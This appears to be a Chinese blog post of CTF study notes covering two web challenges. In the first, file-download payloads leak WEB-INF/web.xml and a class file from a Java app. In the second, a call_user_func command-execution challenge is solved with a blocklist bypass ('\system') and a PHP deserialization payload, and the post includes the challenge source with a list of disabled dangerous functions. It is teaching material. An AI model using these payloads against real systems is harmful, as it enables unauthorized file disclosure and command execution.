刷题学习记录

[RoarCTF 2019]Easy Java1

一开始是一个登陆页面,看着有点想用sql注入先试一遍,但是题目已经给出了这是关于Java的

 直接查看源码,发现参数要用POST的方式上传

 点击进入新页面

百度查了一下这是web.xml 泄露

解题先知WEB-INF

WEB-INF是java的WEB应用的安全目录。


WEB-INF目录

  •     WEB-INF/web.xml

    web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。

  •     WEB-INF/classes

    包含了站点所有用的class文件,包括servlet class和非servlet class

  •     WEB-INF/lib

    存放web应用需要的JAR文件

  •     WEB-INF/src

    源码目录,按照包名结构放置各个java文件

  •     WEB-INF/database.properties

    数据库配置文件

  •     WEB-INF/tags

    存放了自定义标签文件

  •     WEB-INF/jsp

    jsp 1.2 一下版本的文件存放位置。

  •     WEB-INF/jsp2

    存放jsp2.0以下版本的文件。

  •     META-INF

    相当于一个信息包。

关于WEB-INF/web.xml

在了解WEB-INF/web.xml泄露之前,我们先要知道,web.xml是一个什么样的文件,以及它的泄露会出现哪些问题。
咱们先来看看WEB-INF这个文件夹
WEB-INF主要包含以下内容:

  •     /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  •     /WEB-INF/classes/:包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配。
  •     /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  •     /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
  •     /WEB-INF/database.properties:数据库配置文件。

参考:WEB-INF 基础知识-CSDN博客

解题

获取源码,payload:

filename=WEB-INF/web.xml

 得到源码

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

 代码审计

payload:

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

 

 将base64字符串进行解码得到flag

[网鼎杯 2020 朱雀组]phpweb1

刚进入环境,页面就一直在不停刷新,而且发现这是POST的方式进行传参

 解题先知

参考:PHP call_user_func理解_call_user_func php-CSDN博客

php中call_user_func的作用_con_user_fun php_kuafu888的博客-CSDN博客

call_user_func的作用

  • 单个传参,把函数返回值赋给变量
  • 多个参数,函数内部处理参数

 利用bp抓包,从包中我们可以看到,传递了两个参数,func和p。func的值是date,再结合p的值,我猜测这里是用了call_user_func()来回调函数,将func的值当作函数名,p的值当作参数,即func的返回值赋给p。那么我们直接使用system函数查看当前目录下的文件

 

 结果返回Hacker,被过滤了。执行file_get_contents,可以看到index.php的源代码。里面有一个十分严格的过滤,几乎过滤了所有危险函数。下面是一个类,里面有析构函数,可以考虑到使用反序列化构造命令执行。

 

 源码

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

 果然是使用了call_user_func()函数 ,不过禁用了一部分函数,导致我们没法执行命令。禁用的函数比较全面,所以直接执行命令是不太可行的。然后我看到源码里面有一个Test类,在__destruct()里面会调用gettime(),再看禁用的函数里没有unserialize(),且$func和$p是可控的,那么就可以反序列化来达到命令执行的目的。思路已经明确了,接下来就是构造payload了

<?php
	class Test{
		var $p="ls";
		var $func="system";
	}
	$a=new Test();
	echo serialize($a);
?>

 得到反序列化代码

 

 命令执行成功,那接下来就找flag,其实前面的两步没有走的必要,可以先测试system是否被过滤掉,如果被过滤掉就进行绕过,直接查找flag文件

 是被过滤掉了,那就绕过

 但是没有看到该目录下有flag文件,那就用查找命令进行查找

func=\system&p=find / -name flag*

 得到文件路径,直接cat得到flag

 知识点

call_user_func():调用一个回调函数处理字符串,
  可以用匿名函数,可以用有名函数,可以传递类的方法,
  用有名函数时,只需传函数的名称
  用类的方法时,要传类的名称和方法名
  传递的第一个参数必须为函数名,或者匿名函数,或者方法
  其他参数,可传一个参数,或者多个参数,这些参数会自动传递到回调函数中
  而回调函数,可以通过传参,获取这些参数
  返回回调函数处理后的结果

call_user_func函数是php引用匿名函数的一种方式,php不像js那样,可以把匿名函数赋值给变量并引用,但可以通过call_user_func函数来调用匿名函数,这也能做到局部变量不被全局污染,call_user_func调用的回调函数不仅仅是我们自定义的函数,还可以是php处理字符串的系统函数,如rtrim、explode的,在调用这些系统函数时,需要注意的是,call_user_func传递的参数必须符合系统函数的传参顺序

与call_user_func函数类似的还有一个call_user_func_array函数,这个函数的调用和作用和call_user_func函数基本一样,所不同的是,call_user_func_array函数只能传递两个参数,第一个是回调函数名,或者匿名函数,或者类方法,第二个参数则是数组,从这里也可以看出,其实call_user_func_array函数与call_user_func不同的是,call_user_func_array是利用回调函数处理数组,而call_user_func则是利用回调函数处理字符串,他们两个的根本差别就在这里了。你自己可以尝试的调用call_user_func_array()函数,因为它们的引用基本一样

参考:https://www.cnblogs.com/loveyoume/p/6099966.html

PHP: call_user_func - Manual

        

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值